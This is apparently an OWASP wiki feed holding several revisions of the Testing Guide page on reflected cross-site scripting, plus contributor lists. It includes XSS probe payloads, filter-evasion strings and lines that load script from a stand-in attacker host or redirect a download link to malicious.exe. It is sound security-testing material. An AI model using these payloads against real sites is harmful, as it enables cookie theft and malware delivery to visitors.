OWASP - User contributions [en]

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2015-06-29T14:01:58Z

Sick: Link fix for alert('A javascritp agent'). TODO: mirror / alternative for ha.ckers.org/xss.html

{{Template:OWASP Testing Guide v4}}

== Summary ==

Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's browser.

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags.

==How to Test==
=== Black Box testing ===
A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. <br />Some example of such input data are the following:
<pre>
<script>alert(123)</script>
</pre>
<pre>
“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].

3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
<pre>
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
<pre>
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
</pre>

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

==== Example 1 ====
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.

Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

==== Example 2 ====
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

=== Bypass XSS filters ===
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.

==== Example 3: Tag Attribute Value ====
<br>
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.

For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<pre>
<input type="text" name="state" value="INPUT_FROM_USER">
</pre>

Then an attacker could submit the following code:
<pre>
" onfocus="alert(document.cookie)
</pre>

==== Example 4: Different syntax or encoding ====
<br>
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.

Following some examples:
<pre>
"><script >alert(document.cookie)</script >
</pre>

<pre>
"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>

<pre>
"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>

==== Example 5: Bypassing non-recursive filtering ====
<br>
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
<pre>
<scr<script>ipt>alert(document.cookie)</script>
</pre>

==== Example 6: Including external script ====
<br>
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
</pre>

In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
<pre>
<script src="http://attacker/xss.js"></script>
</pre>

which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
<pre>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
</pre>

This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/.

==== Example 7: HTTP Parameter Pollution (HPP) ====
<br>
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|Testing for HTTP Parameter pollution]] for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
<br>

Regular attack:
<pre>
http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<pre>
http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>

''' Result expected '''
<br>
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

=== Gray Box testing ===
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.

If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

==Tools==
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
* '''OWASP Xenotix XSS Exploit Framework''' - [[OWASP_Xenotix_XSS_Exploit_Framework]]
OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1600+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. Xenotix Scripting Engine allows you to create custom test cases and addons over the Xenotix API. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation.

== References ==
'''OWASP Resources'''<br>
*[[XSS Filter Evasion Cheat Sheet]]
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://www.coresecurity.com/corelabs-research/publications/alert-a-javascript-agent Read]
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]

Testing Guide Frontispiece

2009-01-13T03:49:21Z

Sick: typo in Ariel Coronel

{{Template:OWASP Testing Guide v3}}

==Welcome to the OWASP Testing Guide 3.0==
“Open and collaborative knowledge: that’s the OWASP way.”<br>
-- [[User:Mmeucci|Matteo Meucci]]<br>

OWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please e-mail the Testing Guide mail list:

http://lists.owasp.org/mailman/listinfo/owasp-testing

Or drop an e-mail to the project leader: [mailto:matteo.meucci@gmail.com Matteo Meucci]

==Version 3.0==

The OWASP Testing Guide Version 3 improves version 2 and creates new sections and controls. This new version has added: <br>
• Configuration Management and Authorization Testing sections and Encoded Injection Appendix;<br>
• 36 new articles (1 taken from the BSP);<br>
Version 3 improved 9 articles, for a total of 10 Testing categories and 66 controls.

==Copyright and License==

Copyright (c) 2008 The OWASP Foundation.

This document is released under the [http://creativecommons.org/licenses/by-sa/2.5/ Creative Commons 2.5 License]. Please read and understand the license and copyright conditions.

==Revision History ==

The Testing Guide v3 was released in November 2008. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. Matteo Meucci has taken on the Testing guide and is now the lead of the OWASP Testing Guide Project.

; 15th September, 2008
: "OWASP Testing Guide", Version 3.0

; December 25, 2006
: "OWASP Testing Guide", Version 2.0

; July 14, 2004
: "OWASP Web Application Penetration Checklist", Version 1.1

; December 2004
: "The OWASP Testing Guide", Version 1.0

== Editors ==
'''Matteo Meucci''': OWASP Testing Guide Lead since 2007. <BR>

'''Eoin Keary''': OWASP Testing Guide 2005-2007 Lead.<BR>

'''Daniel Cuthbert''': OWASP Testing Guide 2003-2005 Lead.

== v3 Authors ==

{| border="0"
| valign="top" |
* Anurag Agarwwal
* Daniele Bellucci
* Ariel Coronel
* Stefano Di Paola
| valign="top" |
* Giorgio Fedon
* Adam Goodman
* Christian Heinrich
* Kevin Horvath
| valign="top" |
* Gianrico Ingrosso
* Roberto Suggi Liverani
* Kuza55
* Pavol Luptak
| valign="top" |
* Ferruh Mavituna
* Marco Mella
* Matteo Meucci
* Marco Morana
| valign="top" |
* Antonio Parata
* Cecil Su
* Harish Skanda Sureddy
* Mark Roxberry
| valign="top" |
* Andrew Van der Stock
|}

== v3 Reviewers ==

{| border="0"
| valign="top" |
* Marco Cova
* Kevin Fuller
| valign="top" |
* Matteo Meucci
* Nam Nguyen
|}

== v2 Authors ==

{| border="0"
| valign="top" |
* Vicente Aguilera
* Mauro Bregolin
* Tom Brennan
* Gary Burns
* Luca Carettoni
* Dan Cornell
* Mark Curphey
* Daniel Cuthbert
* Sebastien Deleersnyder
* Stephen DeVries
* Stefano Di Paola
| valign="top" |
* David Endler
* Giorgio Fedon
* Javier Fernández-Sanguino
* Glyn Geoghegan
* Stan Guzik
* Madhura Halasgikar
* Eoin Keary
* David Litchfield
* Andrea Lombardini
* Ralph M. Los
* Claudio Merloni
| valign="top" |
* Matteo Meucci
* Marco Morana
* Laura Nunez
* Gunter Ollmann
* Antonio Parata
* Yiannis Pavlosoglou
* Carlo Pelliccioni
* Harinath Pudipeddi
* Alberto Revelli
* Mark Roxberry
* Tom Ryan
| valign="top" |
* Anush Shetty
* Larry Shields
* Dafydd Studdard
* Andrew van der Stock
* Ariel Waissbein
* Jeff Williams
* Tushar Vartak
|}

== v2 Reviewers ==

{| border="0"
| valign="top" |
* Vicente Aguilera
* Marco Belotti
| valign="top" |
* Mauro Bregolin
* Marco Cova
| valign="top" |
* Daniel Cuthbert
* Paul Davies
| valign="top" |
* Stefano Di Paola
* Matteo G.P. Flora
| valign="top" |
* Simona Forti
* Darrell Groundy
| valign="top" |
* Eoin Keary
* James Kist
| valign="top" |
* Katie McDowell
* Marco Mella
| valign="top" |
* Matteo Meucci
* Syed Mohamed A.
| valign="top" |
* Antonio Parata
* Alberto Revelli
| valign="top" |
* Mark Roxberry
* Dave Wichers
|}

==Trademarks==

* Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.
* Merriam-Webster is a trademark of Merriam-Webster, Inc.
* Microsoft is a registered trademark of Microsoft Corporation.
* Octave is a service mark of Carnegie Mellon University.
* VeriSign and Thawte are registered trademarks of VeriSign, Inc.
* Visa is a registered trademark of VISA USA.
* OWASP is a registered trademark of the OWASP Foundation

All other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

OWASP Testing Guide Contributors

2009-01-13T03:47:52Z

Sick: typo in Ariel Coronel

[[:Category:OWASP Testing Project|Click here to return to project's main page]].
{| style="width:70%" border="0" align="center"
| colspan="7" align="center" style="background:#4058A0; color:white" | '''OWASP TESTING GUIDE - EDITORS'''
|-
| style="width:33%; background:#cccccc" align="center" | '''Matteo Meucci'''<br>OWASP Testing Guide Lead since 2007
| style="width:34%; background:#cccccc" align="center" | '''Eoin Keary'''<br>OWASP Testing Guide 2005‐2007 Lead
| style="width:33%; background:#cccccc" align="center" | '''Daniel Cuthbert'''<br>OWASP Testing Guide 2003‐2005 Lead
|}

{| style="width:70%" border="0" align="center"
| colspan="7" align="center" style="background:#4058A0; color:white" | '''OWASP TESTING GUIDE V3.0'''
|-
| style="width:25%; background:#cccccc" align="center" | '''AUTHORS'''
| style="width:25%; background:#cccccc" align="center" |
* Anurag Agarwwal
* Daniele Bellucci
* Daniele Bellucci
* Ariel Coronel
* Stefano Di Paola
* Giorgio Fedon
* Alan Goodman
* Christian Heinrich
| style="width:25%; background:#cccccc" align="center" |
* Kevin Horvath
* Gianrico Ingrosso
* Roberto Suggi Liverani
* Alex Kuza
* Pavol Luptak
* Ferruh Mavituna
* Marco Mella
| style="width:25%; background:#cccccc" align="center" |
* Matteo Meucci
* Marco Morana
* Antonio Parata
* Cecil Su
* Harish Skanda Sureddy
* Mark Roxberry
* Andrew Van der Stock
|-
| style="width:25%; background:#cccccc" align="center" | '''REVIEWERS'''
| style="width:25%; background:#cccccc" align="center" |
* Marco Cova
* Kevin Fuller
| style="width:25%; background:#cccccc" align="center" |
* Matteo Meucci
* Nam Nguyen
| style="width:25%; background:#cccccc" align="center" |
* Dave Wichers
|}

{| style="width:70%" border="0" align="center"
| colspan="7" align="center" style="background:#4058A0; color:white" | '''OWASP TESTING GUIDE V2.0'''
|-
| style="width:25%; background:#cccccc" align="center" | '''AUTHORS'''
| style="width:25%; background:#cccccc" align="center" |
* Vicente Aguilera
* Mauro Bregolin
* Tom Brennan
* Gary Burns
* Luca Carettoni
* Dan Cornell
* Mark Curphey
* Daniel Cuthbert
* Sebastien Deleersnyder
* Stephen DeVries
* Stefano Di Paola
* David Endler
* Giorgio Fedon
| style="width:25%; background:#cccccc" align="center" |
* Javier Fernández‐Sangu
* Glyn Geoghegan
* Stan Guzik
* Madhura Halasgikar
* Eoin Keary
* David Litchfield
* Andrea Lombardini
* Ralph M. Los
* Claudio Merloni
* Matteo Meucci
* Marco Morana
* Laura Nunez
* Gunter Ollmann
| style="width:25%; background:#cccccc" align="center" |
* Antonio Parata
* Yiannis Pavlosoglou
* Carlo Pelliccioni
* Harinath Pudipeddi
* Alberto Revelli
* Mark Roxberry
* Tom Ryan
* Anush Shetty
* Larry Shields
* Dafydd Studdard
* Andrew van der Stock
* Ariel Waissbein
* Jeff Williams
|-
| style="width:25%; background:#cccccc" align="center" | '''REVIEWERS'''
| style="width:25%; background:#cccccc" align="center" |
* Vicente Aguilera
* Marco Belotti
* Mauro Bregolin
* Marco Cova
* Daniel Cuthbert
* Paul Davies
| style="width:25%; background:#cccccc" align="center" |
* Stefano Di Paola
* Matteo G.P. Flora
* Simona Forti
* Darrell Groundy
* Eoin Keary
* James Kist
* Katie McDowell
| style="width:25%; background:#cccccc" align="center" |
* Marco Mella
* Matteo Meucci
* Syed Mohamed A
* Antonio Parata
* Alberto Revelli
* Mark Roxberry
* Dave Wichers
| style="width:25%; background:#cccccc" align="center" |
|}

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-09-02T18:02:07Z

Sick: examples labels

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected [[Cross-site scripting]] (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>

== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code — using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to
install key loggers, steal victim cookies, perform clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's [[OWASP CAL9000 Project|CAL9000]].
<br>

== Black Box testing ==
A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's
variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect a XSS vulnerability, the
tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser that
manifest the vulnerability. Testing data can be generated by using a web application fuzzer or manually.

3. For each vulnerability reported in the previous phase, the tester
will analyze the report and attempt to exploit it with an attack that
has a realistic impact on the web application's security.

== Example 1 ==
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

== Example 2 ==
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>

== Countermeasures ==
However, most web applications today use some sort of sanitization. Yet,
some remain vulnerable. Reflected cross-site scripting attacks are
prevented either at the side of the server, by sanitization or a web
application firewall, or at the side of the client by prevention
mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers, the tester
cannot count on this and must test for vulnerabilities assuming that web
browsers will not prevent the attack. ( Frei et al 2008 )

A web application or the web server (e.g., Apache's mod_rewrite module)
can parse the URL matching a regular expression as a sanitization
prcedure. For example the following regular expression can be used to
detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression
does not completely fix the vulnerability. In a grey-box test, the
tester might access the source code and analyze the sanitization
procedure to decide if it can be circumvented.

== Example 3 ==
To black-box test whether there is a vulnerability or not, the tester
will use many test vectors, each circumventing different
sanitization procedures, hoping that one will work. For example, let's say
that the following code is executed:

<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {
echo "Filtered";
return; }
echo "Welcome ".$_GET['var']." !";
?>
</pre>
In this scenario there is a regular expression checking if <script
[anything but the character: '>' ] src is inserted. This is useful for
filtering expressions like <script
src="http://attacker.com/xss.js"></script>, which is a common attack. But,
in this case, it is possible to bypass the sanitization by using the ">"
character in an attribute between script and src, like this:

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

This will exploit the reflected cross site scripting vulnerability shown before
executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, www.example.com.

A complete test will include instantiating a variable with several
attack vectors (Check [[Fuzz_Vectors Fuzz vectors appendix|Fuzz vectors appendix]] and [[Encoded Injection|Encoded injection appendix]]).

Finally, analyzing answers can get complex. A simple way to do this is
to use code that pops up a dialog, as in our example. This typically indicates that an
attacker could execute arbitrary javascript of his choice in the
visitors' browsers.

<br>

== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
'''Tools''' <br>
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-14T19:00:13Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's
variables and how to input them in the web application. See the above
example.

2. Analyze each input vector to detect potential vulnerabilities. The
tester will typically use a web application fuzzer or manually attempt
detecting a xss vulnerability by entering offending data. This tests are
typically harmless, but triggers responses from the web browser that
allow the tester to detect a vulnerability.

3. For each vulnerability reported in the previous phase, the tester
will analyze the report and attempt to exploit it with an attack that
has a realistic impact on the web application's security.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
However, most web applications today use some sort of sanitization. Yet,
some remain vulnerable. Reflected cross-site scripting attacks are
prevented either at the side of the server, by sanitization or a web
application firewall, or at the side of the client by prevention
mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers1, the tester
cannot count on this and must test for vulnerabilities assuming that web
browsers will not prevent the attack.

A web application or the web server (e.g., Apache's mod_rewrite module)
can parse the URL matching a regular expression as a sanitization
prcedure. For example the following regular expression can be used to
detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression
does not completely fix the vulnerability. In a grey-box test, the
tester might access the source code and analyze the sanitization
procedure to decide if he can circumvent it.

To black-box test whether there is a vulnerability or not, the tester
will use many test vectors, each circumventing one different
sanitization procedure hoping that one will work. For example, let's say
that the following code is executed:

